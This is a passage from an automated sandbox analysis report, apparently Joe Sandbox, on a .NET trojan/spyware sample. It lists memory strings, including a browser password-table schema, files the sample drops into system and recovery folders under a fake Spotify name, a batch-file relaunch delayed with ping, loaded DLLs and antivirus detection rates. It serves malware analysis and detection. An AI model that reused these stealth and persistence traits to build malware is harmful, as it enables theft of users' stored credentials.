00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\91e168f4ec1147	Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9B890D48	0_2_00007FFD9B890D48
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9B890E43	0_2_00007FFD9B890E43
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9BC8A74F	0_2_00007FFD9BC8A74F
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9BFDA930	0_2_00007FFD9BFDA930
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9BFD82D6	0_2_00007FFD9BFD82D6
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9BAA0D48	6_2_00007FFD9BAA0D48
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9BAA0E43	6_2_00007FFD9BAA0E43
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9BE9A74F	6_2_00007FFD9BE9A74F
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9C1E195A	6_2_00007FFD9C1E195A
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9C1E8806	6_2_00007FFD9C1E8806
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9C313089	6_2_00007FFD9C313089
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9C313FD0	6_2_00007FFD9C313FD0

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\BjHNOjmt.log 16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4

Source: 6G8OR42xrB.exe, 00000000.00000002.1797222772.000000001BB1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 6G8OR42xrB.exe
Source: 6G8OR42xrB.exe, 00000000.00000000.1694429970.0000000000836000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 6G8OR42xrB.exe
Source: 6G8OR42xrB.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 6G8OR42xrB.exe

Source: 6G8OR42xrB.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 6G8OR42xrB.exe, QfE85RnYGxcpCNNTEbb.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6G8OR42xrB.exe, QfE85RnYGxcpCNNTEbb.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6G8OR42xrB.exe, QfE85RnYGxcpCNNTEbb.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6G8OR42xrB.exe, QfE85RnYGxcpCNNTEbb.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/292@1/2

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File created: C:\Program Files (x86)\reference assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe

Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File created: C:\Users\user\Desktop\rmOGvfrE.log

Jump to behavior

Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-SkRAUqn5wWh3KdO4xV46

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File created: C:\Users\user\AppData\Local\Temp\QSHgXYhsrQ

Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat"

Source: 6G8OR42xrB.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 6G8OR42xrB.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: KAXWUlFNB7.6.dr, lyAKifawXa.6.dr, BpR7mp6RBA.6.dr, FbecIXzrRx.6.dr, u2I7wY9yck.6.dr, UbPKwgTTpW.6.dr, vSlu1DIHY6.6.dr, JFSKuUAThY.6.dr, O0bqUGiWHf.6.dr, CGX9FIzp3N.6.dr, l28Dxem2CA.6.dr, kvMcHfzWc7.6.dr, 5zPUniTpBp.6.dr, yyEpyU1z22.6.dr, 2UfEjdqAg6.6.dr, nknmDe3Y5d.6.dr, e8lMleUkW0.6.dr, wU2zqhAa5a.6.dr, BRG0tryu6a.6.dr, hXpFgqApdH.6.dr, KVaJSTvoS4.6.dr, 9LqXZ28Iw7.6.dr, aUObFtlkDB.6.dr, VEB64dsdiZ.6.dr, mcxxl3f4ep.6.dr, j1Uybg79uQ.6.dr, wNdvoIPyBI.6.dr, mCu8OkjxmK.6.dr, 8UqtLRGkov.6.dr, 8cfI248wEq.6.dr, wAbSw1zCzd.6.dr, xcJNtJg8jI.6.dr, ZJQkUpBBcP.6.dr, Tw9LcfWRBj.6.dr, mP5uN1HV83.6.dr, j96KTktS9a.6.dr, DTGhzPNlWW.6.dr, Bwim4cRKVe.6.dr, S8PhmZplqJ.6.dr, 7xn0WxqAKO.6.dr, c6P3ZeRQqZ.6.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 6G8OR42xrB.exe	ReversingLabs: Detection: 65%
Source: 6G8OR42xrB.exe	Virustotal: Detection: 56%

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File read: C:\Users\user\Desktop\6G8OR42xrB.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\6G8OR42xrB.exe "C:\Users\user\Desktop\6G8OR42xrB.exe"
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe "C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe"
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe "C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe"	Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: rsaenh.dll	Jump to behavior
